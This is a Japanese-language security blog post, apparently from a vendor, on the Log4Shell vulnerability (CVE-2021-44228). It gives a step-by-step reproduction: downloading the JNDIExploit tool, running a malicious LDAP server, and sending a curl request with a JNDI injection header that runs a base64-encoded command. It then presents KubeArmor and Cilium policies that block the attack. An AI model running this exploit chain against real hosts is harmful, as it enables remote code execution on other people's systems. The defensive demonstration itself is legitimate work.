
Apache Log4j ゼロデイ脆弱性 別名 Log4Shell 別名 CVE-2021-44228
2021年12月9日、Apache Java ロギングパッケージ log4j に影響を与える新たな脆弱性として CVE-2021-44228 が世界に知らされました。この脆弱性は深刻度 スコア 10.0(最も重大な指定)を獲得し、この log4j バージョンを使用するソフトウェアを扱うホスト上で簡単にリモートコード実行を可能にします。「Log4Shell」はこの攻撃に付けられた名前です。
現在、log4j バージョン 2.15.0rc2 が利用可能で、この脆弱性にパッチを適用します。しかし、この脆弱性の危険性は、このロギングパッケージがどれほど広く普及しているかに起因します。何百万ものアプリケーションやソフトウェアプロバイダーが、このパッケージを自社コードの依存関係として使用しています。
既知の最早期検出: 2021-12-01 04:36:50 UTC

影響を受けるバージョン:
誰が影響を受けますか?
影響: 親プロセスが実行中のユーザーとして任意のコードが実行されます(公開インターネットから取得したコード、システムに既に存在する lolbins、共有シークレットや環境変数を取得して攻撃者に返すだけのものなど)。
対象: Java を実行し、log4j フレームワークを使用して何らかのログを記録するサーバーとクライアント。主にサーバー側の懸念ですが、脆弱なエンドポイントはすべてターゲットまたはピボットポイントになり得ます。
下流プロジェクト: そうでないことが証明されるまで、log4j を含むすべてのもの(Elasticsearch、Apache Struts / Solr / Druid / Flink など)は緩和策が必要な形で影響を受けると想定してください。
影響を受けるバージョン: log4j 2.x が確認済み - log4j 1.x は間接的にのみ(以前の情報漏えい脆弱性)(一部の構成)
アプライアンス: Java サーバーコンポーネントを使用している可能性があるが、認証なしの脆弱性スキャンでは検出されないアプライアンスも忘れないでください
ログ転送: ロギングインフラストラクチャには、多くの「ノースバウンド」(自分のログを誰かに送る)および「サウスバウンド」(誰かからログを受け取る)転送/中継トポロジが存在します。それらを連鎖させて悪用することも考慮する必要があります。
クラウド: 複数の大規模プロバイダーも影響を受けています(CVE-2021-44228 に対して脆弱なソフトウェアとサービスのコミュニティキュレーションリストはこの GitHub リポジトリにあります)。

ステップ #1: Kubernetes で Log4j に対して脆弱な関連サービスを持つポッドをデプロイ
git clone https://github.com/kubearmor/log4j-cve && cd log4j-cve
kubectl apply -f deploy-log4j-k8s.yaml
kubectl get po,svc
NAME READY STATUS RESTARTS AGE
pod/log4j-demo-5d7c84d8b9-vs8ck 1/1 Running 0 1h30m
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
service/kubernetes ClusterIP 10.112.0.1 <none> 443/TCP 4h44m
service/log4j-svc LoadBalancer 10.112.8.158 35.241.165.36 80:30202/TCP 1h30m
脆弱な Log4Shell サンプルアプリケーションを
default名前空間にデプロイしていることに注意してください
ステップ #2: 悪意のある LDAP サーバーのダウンロード
wget https://log4j-knox.s3.amazonaws.com/JNDIExploit-1.2-SNAPSHOT.jar
ステップ #3: PC または Cloud VM で受信トラフィック用の LDAP サーバーを起動
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [<your-private-ip>] -p 8888
プライベート IP は
hostname -Iで確認できます。
ファイアウォールがポート1389と8888のトラフィックを許可していることを確認してください
ステップ #4: cURL コマンドを使用した悪用
# curl <protocol://victim-ip:port> -H 'X-Api-Version: ${jndi:ldap://<malicious-server-ip>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
curl http://35.241.165.36 -H 'X-Api-Version: ${jndi:ldap://34.135.86.213:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
ここで、1 つ目の IP は脆弱なサンプルアプリが実行されている k8s 外部 IP(ステップ #1)です。
2 つ目の IP は悪意のある LDAP サーバーの外部 IP(ステップ #2)です。
ステップ #5: /tmp/pwned ファイルの作成を確認して検証
kubectl exec -it --namespace default log4j-demo-5d7c84d8b9-vs8ck -- watch -n 2 ls /tmp
log4j-demo-5d7c84d8b9-vs8ckをステップ #1 の出力の自分のポッドに置き換えてください。
/tmpディレクトリ内にpwnedとして作成されたファイルが表示されるはずです。
KubeArmor は、アプリケーション/システムベースの制御(プロセス生成の制限、ファイルシステムアクセスの制限、ポッドのケーパビリティの制限など)を使用してワークロードを保護する Security/DevSecOps チームを支援するランタイムセキュリティプラットフォームです。KubeArmor には可視性モードがあり、アプリケーション/セキュリティチームは可視性を有効にして、ポッド内で何が起こっているか(どのプロセスが生成されたか、どのファイルアクセスが試行されたかなど)を把握できます。KubeArmor の最大の利点は、ユーザーがそのようなシステム操作を防止/ブロック/拒否できるポリシーを提出できることです。
通常、攻撃者は内部データの外部漏えい、クリプトマイニング、あるいは内部アプリを利用不能にするために単に大混乱を引き起こすことを目的として侵入します。これらのすべてのケースで、攻撃者は悪意のある意図を達成できる任意のプログラムを実行する必要があります。log4j の脆弱性により、攻撃者は内部ネットワーク内にバイナリを配置できます。ただし、JVM がプロセスを生成できないようにガードレールを設定できます。
以下は、Java アプリケーションの子プロセスとしてポッド内でフォークされるプロセスを拒否/防止できる KubeArmor です。
apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
name: do-not-allow-exec-from-java
spec:
severity: high
message: "disallow execing from java process"
selector:
matchLabels:
app: log4j2
process:
matchPaths:
- path: * #disaallow all paths from the java process
fromSource:
- path: /opt/openjdk-16/bin/java
action:
Block
ここではアクションが Block であることに注意してください。また、指定されたプロセスからの exec のみを禁止する fromSource 条件にも注意してください。基本的に、Java/JVM の子プロセスのみが exec を拒否されます。他のツールとは異なり、KubeArmor はランタイムでシステム操作を Block する機能があります。
多くの場合、Java/JVM によって引き続き生成される必要がある既存のプロセスが存在する可能性があります。そのような場合は、そのようなプロセスを Allow するのが最善です。これらのプロセスを許可することで、KubeArmor はその親プロセスの一部として他のすべてのプロセスの exec をデフォルトで拒否します:
apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
name: do-not-allow-exec-from-java
spec:
severity: high
message: "disallow execing from java process"
selector:
matchLabels:
app: log4j2
process:
matchPaths:
- path: /usr/local/bin/myapp
fromSource:
- path: /opt/openjdk-16/bin/java
- path: /usr/local/bin/log4j
fromSource:
- path: /opt/openjdk-16/bin/java
action:
Allow
この例では、myapp と log4j プロセスは Java プロセスによって引き続き生成できますが、それ以外のすべてのプロセスは拒否されます。
上記のポリシーを見ると、allow/deny するプロセス仕様をどのように取得するのかと自然に思うでしょう。ここで KubeArmor の可視性モードが役立ちます:
== Log / 2021-12-12 19:48:37.737160 ==
Cluster Name: Default
Host Name: pandora
Namespace Name: default
Pod Name: log4j-kubearmor
Container ID: 7ccca0b0a09ba86c96d581f695a534d0ec1d7a844f30efc16e0e72568a84cc39
Container Name: log4j-kubearmor
Type: ContainerLog
Source: jspawnhelper
Operation: Process
Resource: /bin/touch /tmp/log4jServerp0wn3d
Data: syscall=SYS_EXECVE
Result: Passed
JVM/Java プロセスから生成されたプロセスをブロックすると、execve が拒否されている間、次のアラートが発生します(KubeArmor は強制エンジンであることに注意してください):
== Alert / 2021-12-12 19:57:07.871126 ==
Cluster Name: Default
Host Name: pandora
Namespace Name: default
Pod Name: log4j-kubearmor
Container ID: 7ccca0b0a09ba86c96d581f695a534d0ec1d7a844f30efc16e0e72568a84cc39
Container Name: log4j-kubearmor
Policy Name: do-not-allow-exec-from-java
Severity: 5
Message: disallowed execing from java process
Type: MatchedPolicy
Source: jspawnhelper
Operation: Process
Resource: /bin/touch /tmp/log4jServerp0wn3d
Data: syscall=SYS_EXECVE
Action: Block
Result: Passed
Cilium チームは、ネットワークポリシーを使用して k8s 環境で log4j のエクスプロイトを防ぐための分析をすでに発表しています。基本的に、防止ポリシーは、DNS に対して最小限の許可を持つポリシーが適用され、その領域外のすべてが禁止されることを保証することを目的としています。
この文脈でのセキュリティチームの課題の 1 つは、ポッドが接続するすべての可能な FQDN を把握することかもしれません。Cilium は豊富なネットワーク可視性を提供し、それを使用してポッドがアクセスする FQDN の網羅的なセットを考え出すことができます。
これらのポリシーに加えて、実行できる予防ポリシーがいくつかあります。
RMI は、ほとんどの組織で最も利用されていない機能です。log4j の場合、RMI はデフォルトで有効になっており、ほとんどの組織は完全に無効にしても気にしないかもしれません。したがって、組織がその機能を積極的に使用していない場合は、完全に無効にするのが最善です。次の Cilium ポリシーを使用できます:
apiVersion: "cilium.io/v2"
kind: CiliumNetworkPolicy
metadata:
name: "L4_rule_to_block_RMI_access"
spec:
endpointSelector:
matchLabels:
app: log4j2
ingress:
- fromEndpoints:
toPorts:
- ports:
- port: "1099"
protocol: TCP
... ここで、1099 はデフォルトの RMI ポートです。
上記のようなルールは、後知恵で考え出すのは簡単です。
次に当然の疑問は、将来このような脆弱性が悪用される可能性をどのように防ぐかということです。
任意のコード実行は主要な攻撃手法であり、「任意」とは何かを定義することに焦点を当てる必要があります。この文脈での「任意」は、通常の実行コンテキストにないものとして定義できます。
ゼロトラスト(ZTNA)アーキテクチャを使用するには、ホワイトリストに登録されたアクションのみを許可し、その他すべてを拒否する最小許可ポリシーセットを指定する必要があります。したがって、ゼロトラスト体制を持つことで、組織はこのような攻撃の可能性から効果的に保護できます。
ただし、実際にゼロトラストを達成するのははるかに困難です。ゼロトラストでは、組織が適切な自動化、ソフトウェアデプロイプロセス、および適切なツールを備えている必要があります。考慮すべきいくつかのポイントは次のとおりです:
ネットワークとアプリケーション/システムにわたるゼロトラスト体制は、次のように定義できます:
KubeArmor は、適切なポリシー発見/推奨ツールと組み合わせた柔軟なポリシー強制エンジンを提供し、組織が上記の質問に正確に答えるのに役立ちます。Accuknox は、基本的な設計原則(つまり、すべてのポリシーエンジンが可観測性、監査(ドライラン)、および強制オプションをサポートする必要があること)を念頭に置いてポリシーエンジンを構築しました。
観測性とポリシー発見エンジンを組み合わせることで、組織に必要な最小許可ポリシー設定を提供できます。

自分の k8s クラスターでワークロードを対象にポリシー発見エンジンを試したい場合は、こちらのプレイブックに従ってください。